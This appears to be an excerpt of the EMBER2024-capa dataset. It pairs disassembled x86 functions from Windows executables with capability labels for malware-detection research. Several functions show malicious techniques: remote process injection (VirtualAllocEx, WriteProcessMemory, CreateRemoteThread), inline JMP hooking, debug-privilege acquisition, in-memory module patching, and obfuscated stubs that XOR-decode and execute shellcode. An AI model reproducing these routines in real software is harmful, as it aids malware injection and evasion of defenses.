joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420f70
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, 1
cmp byte [esi], 0
je 0x420fa4
push 0
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xb]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x420f9f
mov byte [esi + 8], 1
mov edi, dword [ebp - 4]
jmp 0x420fd0
mov ecx, dword [esi + 0x18]
push ebx
mov ebx, dword [esi + 0x1c]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x420fb6
mov edi, ecx
sub edi, ebx
mov eax, dword [esi + 0x14]
add eax, ebx
push edi
push eax
lea eax, [ebp + 0xb]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebx + edi]
mov dword [esi + 0x1c], eax
pop ebx
cmp edi, 1
jne 0x420fe6
mov eax, dword [ebp + 0xc]
movzx ecx, byte [ebp + 0xb]
mov dword [eax], ecx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x420fde
cmp byte [esi + 8], 0
je 0x420fde
pop edi
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x421880
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg
Hash data with crc32
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
je 0x421957
mov ecx, dword [esi + 0x3c]
mov eax, ecx
mov ebx, dword [ebp + 0xc]
test ecx, ecx
je 0x4218b8
cmp dword [esi + 0x40], ebx
jae 0x4218b8
push ecx
call sub.mfc140.dll_Ordinal_266
add esp, 4
mov dword [esi + 0x3c], 0
xor eax, eax
test eax, eax
jne 0x4218ce
lea eax, [ebx + ebx]
push eax
call sub.mfc140.dll_Ordinal_265
add esp, 4
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], ebx
push ebx
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
xor edx, edx
add esp, 0xc
mov dword [ebp + 8], edx
test ebx, ebx
je 0x421954
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x30]
mov bl, byte [edx + eax]
mov edx, dword [esi + 0x38]
mov edi, edx
movsx eax, bl
and edi, 0xfffd
xor eax, ecx
or edi, 2
movzx eax, al
shr ecx, 8
mov eax, dword [eax*4 + 0x42acb0]
xor eax, ecx
mov ecx, edi
mov dword [esi + 0x30], eax
xor ecx, 1
movzx eax, al
add eax, dword [esi + 0x34]
imul eax, eax, 0x8088405
imul ecx, edi
inc eax
mov dword [esi + 0x34], eax
shr eax, 0x18
xor eax, edx
shr ecx, 8
movzx eax, al
xor cl, bl
shr edx, 8
xor edx, dword [eax*4 + 0x42acb0]
mov dword [esi + 0x38], edx
mov edx, dword [ebp + 8]
mov eax, dword [esi + 0x3c]
mov byte [edx + eax], cl
inc edx
mov dword [ebp + 8], edx
cmp edx, dword [ebp + 0xc]
jb 0x4218e2
mov edi, dword [esi + 0x3c]
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x421995
mov edx, dword [esi + 0x24]
mov ebx, dword [ebp + 0xc]
lea eax, [edx + ebx]
cmp eax, dword [esi + 0x28]
jb 0x42197c
pop edi
mov dword [esi + 0x14], 0x30000
xor eax, eax
pop esi
pop ebx
pop ebp
ret 8
push ebx
add ecx, edx
push edi
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, ebx
add dword [esi + 0x24], ebx
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [esi + 4]
test eax, eax
je 0x4219b7
push 0
lea ecx, [ebp + 8]
push ecx
push dword [ebp + 0xc]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret 8
pop edi
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4026a4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040316c
test esi, esi
jne 0x4026da
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403230
jmp 0x4026f8
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025b8
mov edi, eax
test esi, esi
je 0x4026f8
cmp dword [ebx], 0
je 0x4026f8
dec esi
jmp 0x4026e1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402888
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40a010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402920
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402900
xor eax, eax
push ebp
push 0x4028f9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40293c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402900
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40a010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40a010], ax
mov esp, ebp
pop ebp
ret

Function at 0x402ff0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40b034], 0
je 0x403051
cmp word [0x40b208], 0xd7b2
jne 0x403019
cmp dword [0x40b210], 0
jbe 0x403019
mov eax, 0x40b204
call dword [0x40b220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40a058
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403078
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40a01c], 0
jne 0x40306d
push 0
push 0x40a050
push 0x40a058
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403bd4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403c3a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403394
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040277c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403c24
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403c41
lea eax, [ebp - 0x10]
call fcn.0040316c
ret
Function at 0x4043b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x40442e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x3000
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403328
mov eax, dword [ebp - 8]
call fcn.004033ac
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00403328
mov eax, dword [ebp - 0xc]
call fcn.004033ac
inc eax
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404435
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403190
ret

Function at 0x404440
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x404470
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00404440
mov esi, eax
mov eax, edi
call fcn.0040438c
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.00404440
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x4044d6
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4045bc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov byte [ebp - 5], 0
xor ecx, ecx
push ebp
push 0x404640
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov ebx, eax
mov edi, ebx
sub edx, edi
sub edx, 5
mov dword [ebp - 0xc], edx
lea eax, [ebp - 0x10]
push eax
push 0x40
push 5
push ebx
call sub.kernel32.dll_VirtualProtect
mov eax, 0xff
call fcn.00402474
mov esi, eax
mov dword [esi], edi
mov edx, esi
add edx, 5
mov eax, ebx
call fcn.00404660
mov edx, esi
add edx, 4
mov byte [edx], al
mov byte [ebx], 0xe9
inc edi
mov eax, dword [ebp - 0xc]
mov dword [edi], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 5
push ebx
call sub.kernel32.dll_VirtualProtect
add esi, 5
mov eax, dword [ebp - 4]
mov dword [eax], esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x404651
mov byte [ebp - 5], 1
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4057c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.0040359c
mov eax, dword [ebp - 0xc]
call fcn.0040359c
xor eax, eax
push ebp
push 0x405929
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00404f1c
test al, al
je 0x405906
lea eax, [ebp - 0x30]
push eax
push 0x14
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.00405150
test al, al
je 0x405906
lea esi, [ebp - 0x30]
xor ebx, ebx
mov eax, esi
call fcn.00404868
test eax, eax
je 0x405906
add ebx, eax
add eax, esi
mov esi, eax
cmp ebx, 5
jb 0x40583c
cmp dword [0x40b680], 0
je 0x40587a
push 0x40
push 0x3000
lea eax, [ebx + 5]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [0x40b680]
mov esi, eax
jmp 0x405892
push 0x40
push 0x3000
lea eax, [ebx + 5]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
test esi, esi
jne 0x4058a2
mov eax, 0x405944
call fcn.0040480c
jmp 0x405906
mov byte [ebp + ebx - 0x30], 0xe9
mov eax, dword [ebp - 0x18]
sub eax, esi
sub eax, 5
lea edx, [ebp - 0x30]
add edx, ebx
inc edx
mov dword [edx], eax
cmp dword [0x40b684], 0
je 0x4058d9
lea eax, [ebp - 0x14]
push eax
lea eax, [ebx + 5]
push eax
lea eax, [ebp - 0x30]
push eax
push esi
mov eax, dword [ebp - 4]
push eax
call dword [0x40b684]
jmp 0x4058ef
lea eax, [ebp - 0x14]
push eax
lea eax, [ebx + 5]
push eax
lea eax, [ebp - 0x30]
push eax
push esi
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
add ebx, 5
cmp ebx, dword [ebp - 0x14]
je 0x405903
mov eax, 0x405978
call fcn.0040480c
jmp 0x405906
mov dword [ebp - 0x10], esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405930
lea eax, [ebp - 0x1c]
call fcn.0040316c
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403190
ret

Function at 0x406eb4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040359c
xor eax, eax
push ebp
push 0x406f23
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004033ac
mov esi, eax
test esi, esi
jle 0x406f03
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00403604
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 0xe9
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x406ee9
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004031c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406f2a
lea eax, [ebp - 4]
call fcn.0040316c
ret
Function at 0x407cc8
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffd0
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
lea eax, [esp + 8]
push eax
push 0x407d64
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov eax, dword [esp + 8]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], 1
xor ebx, ebx
mov dword [esp + 0x2c], ebx
push esp
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x2c]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
mov eax, dword [esp + 8]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 1
or ebx, 2
mov dword [esp + 0x1c], ebx
push esp
push 0
mov eax, dword [esp + 8]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
add esp, 0x30
pop ebx
ret

Function at 0x4090c4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
xor ebx, ebx
mov eax, dword [0x40c3e4]
call fcn.004035ac
push eax
call sub.kernel32.dll_GetModuleHandleA
mov esi, eax
test esi, esi
je 0x409174
xor eax, eax
mov dword [esp], eax
mov dword [esp + 4], 0x40
push esp
mov eax, dword [esp + 8]
push eax
push 5
lea eax, [esi + 0x66ef]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409174
cmp byte [esi + 0x66ef], 0xe8
jne 0x40915c
cmp byte [esi + 0x66f0], 0x60
jne 0x40915c
cmp byte [esi + 0x66f1], 8
jne 0x40915c
cmp byte [esi + 0x66f2], 0
jne 0x40915c
cmp byte [esi + 0x66f3], 0
jne 0x40915c
mov byte [esi + 0x66ef], 0x33
mov byte [esi + 0x66f0], 0xc0
mov byte [esi + 0x66f1], 0x90
mov byte [esi + 0x66f2], 0x90
mov byte [esi + 0x66f3], 0x90
mov bl, 1
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
push 5
lea eax, [esi + 0x66ef]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, ebx
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x4098ac
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov eax, 0x409824
call fcn.00403ebc
xor eax, eax
push ebp
push 0x40996c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00406f30
call fcn.004094f8
lea edx, [ebp - 0x40]
xor eax, eax
call fcn.004026a4
mov eax, dword [ebp - 0x40]
call fcn.00409054
test al, al
je 0x409909
push 0x40b714
push 0
push 0
push 0x408f08
push 0
push 0
call sub.kernel32.dll_CreateThread
lea edx, [ebp - 0x44]
xor eax, eax
call fcn.004026a4
mov eax, dword [ebp - 0x44]
call fcn.00409054
test al, al
je 0x409936
push 0x40b714
push 0
push 0
push 0x408b60
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, fcn.0040917c
mov dword [0x40b654], eax
mov eax, 1
call fcn.0040917c
push 0
call sub.kernel32.dll_ExitThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409973
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00403190
ret
Function at 0x4035ed
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x4035fc
pop dword [ebp - 0x18]
mov eax, 0x4dbeb8e3
sub eax, 0x4d7e82e7
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xc9fcf89a
sub dword [ebp - 0x28], 0x7baab34f
mov dword [ebp - 0x24], 0x1cf3ec04
sub dword [ebp - 0x24], 0xeac09fbf
mov dword [ebp - 0x20], 0xc93aa298
sub dword [ebp - 0x20], 0x7cee5e6a
mov dword [ebp - 0x1c], 0xc1f831d1
sub dword [ebp - 0x1c], 0xc1f831d1
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x65a616e1
sub dword [ebp - 0x28], 0xf133ad8b
mov dword [ebp - 0x24], 0x7cd47b4f
add dword [ebp - 0x24], 0xc497e626
mov dword [ebp - 0x20], 0x5a709164
sub dword [ebp - 0x20], 0xf70124f8
mov dword [ebp - 0x1c], 0x56187f3
sub dword [ebp - 0x1c], 0x56187f3
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xec8dd0be
add eax, 0x13b29f62
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x33745
push 0
call eax
mov ecx, 0x3711
mov edx, eax
mov ebx, 0x67fa089f
add ebx, 0x9846bf61
add ebx, dword [ebp - 0x18]
mov esi, 0x7e914a8f
add dword [ebp - 0x14], ebx
mov edi, dword [ebx]
xor dword [ebp - 0x14], esi
xor edi, esi
add dword [ebp - 4], 0x388c51c6
mov dword [edx], edi
sub dword [ebp - 4], 0x37cc875f
add edx, 0xa18a6fac
add edx, 0x5e759058
add ebx, 0x674b8e44
add ebx, 0x98b471c0
loop 0x40370d
add eax, 0x5edda5df
sub eax, 0x5edcd6c8
mov ebx, eax
add eax, 0x4f59d86a
add eax, 0xb0a6279b
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x4045aa
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4068f8
call fcn.0040545b
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x4045c9
mov al, 1
jmp 0x404692
test esi, esi
je 0x404690
xor ebx, ebx
cmp word [esi], bx
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x404690
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.004035ed
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x404684
lea eax, [ebp - 0x28]
push eax
call fcn.004035ed
pop ecx
test al, al
jne 0x404684
cmp dword [ebp - 0x18], esi
jbe 0x404684
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x404684
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x404684
push 0x407628
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401780
mov al, bl
jmp 0x404692
xor al, al
call fcn.00405416
ret
Function at 0x4068db
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068ff
xor eax, eax
test eax, eax
je 0x406912
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406912
xor ecx, ecx
jmp 0x406915
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a38
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43110c], 0
push esi
jne 0x406a6f
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a49
mov dword [ecx*4 + 0x431108], eax
inc ecx
cmp ecx, 0x100
jl 0x406a44
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406aa0
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431108]
xor eax, esi
inc ecx
dec edx
jne 0x406a82
pop edi
not eax
pop esi
ret 0xc

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x10017a9e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10017aad
pop dword [ebp - 0x50]
mov eax, 0x6acb65a6
sub eax, 0x5ac9eaf9
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x4c10d28
sub dword [ebp - 0x60], 0xb66ec7dd
mov dword [ebp - 0x5c], 0xfeef8d05
sub dword [ebp - 0x5c], 0xccbc40c0
mov dword [ebp - 0x58], 0xd8df8ce4
sub dword [ebp - 0x58], 0x8c9348b6
mov dword [ebp - 0x54], 0x46b19117
sub dword [ebp - 0x54], 0x46b19117
lea eax, [ebp - 0x60]
push eax
mov eax, 0x3658b74a
add eax, 0xd9a8e8be
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xb306597f
add dword [ebp - 0x60], 0xc16c0fd7
mov dword [ebp - 0x5c], 0xa2690d1b
sub dword [ebp - 0x5c], 0x60fcaba6
mov dword [ebp - 0x58], 0x4c7401da
add dword [ebp - 0x58], 0x16fb6a92
mov dword [ebp - 0x54], 0xcd9151af
add dword [ebp - 0x54], 0x326eae51
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x353fe
push 0
call eax
mov ecx, 0x42e92dd7
add ecx, 0xbd17060e
mov edx, eax
mov ebx, 0xf29cd788
sub ebx, 0xe29a8d88
add ebx, dword [ebp - 0x50]
mov edi, 0x8f2a0947
xor dword [ebp - 0x18], edx
mov esi, dword [ebx]
xor esi, edi
xor dword [ebp - 0x18], 0xc489fed0
mov dword [edx], esi
add dword [ebp - 0x24], ebx
add edx, 0x2ddaf75e
sub edx, 0x2ddaf75a
add ebx, 4
loop 0x10017bc4
add eax, 0x63b5b7ee
add eax, 0x9c4b0a79
mov ebx, eax
add eax, 0xed42fdb9
sub eax, 0xed42fdb4
mov ecx, 0xc8c86f0d
add ecx, 0x473790f3
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10009220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000922f
pop dword [ebp - 8]
mov eax, 0xd0015238
add eax, 0x3fff3ff7
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xff9b5db7
sub dword [ebp - 0x18], 0xb149186c
mov dword [ebp - 0x14], 0xec5b95f
add dword [ebp - 0x14], 0x236d92e6
mov dword [ebp - 0x10], 0xee9bad92
sub dword [ebp - 0x10], 0xa24f6964
mov dword [ebp - 0xc], 0xb7425ce7
add dword [ebp - 0xc], 0x48bda319
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x65f92689
sub dword [ebp - 0x18], 0xf186bd33
mov dword [ebp - 0x14], 0x78693641
sub dword [ebp - 0x14], 0x36fcd4cc
mov dword [ebp - 0x10], 0xc74b9cee
add dword [ebp - 0x10], 0x9c23cf7e
mov dword [ebp - 0xc], 0x96905782
sub dword [ebp - 0xc], 0x96905782
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x2cd98ed1
add eax, 0xe327119f
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x37918
push 0
call eax
mov ecx, 0x463a
mov edx, eax
mov ebx, 0x10013200
add ebx, dword [ebp - 8]
mov edi, 0x7cda6bf
sub edi, 0x41ce152f
sub dword [ebp - 4], ebx
mov esi, dword [ebx]
sub dword [ebp - 4], edx
add esi, edi
xor dword [ebp - 4], 0x8defa5c8
mov dword [edx], esi
xor dword [ebp - 4], 0x175e0d06
add edx, 4
add ebx, 0x66dd477
add ebx, 0xf9922b8d
loop 0x10009340
add eax, 0x81563b5f
sub eax, 0x81552fa4
xor ebx, ebx
add ebx, eax
add eax, 0x20afea3c
add eax, 0xdf5015c9
mov ecx, 0xc658307f
add ecx, 0x49a7cf81
add ecx, dword [ebp - 8]
call ebx
leave
ret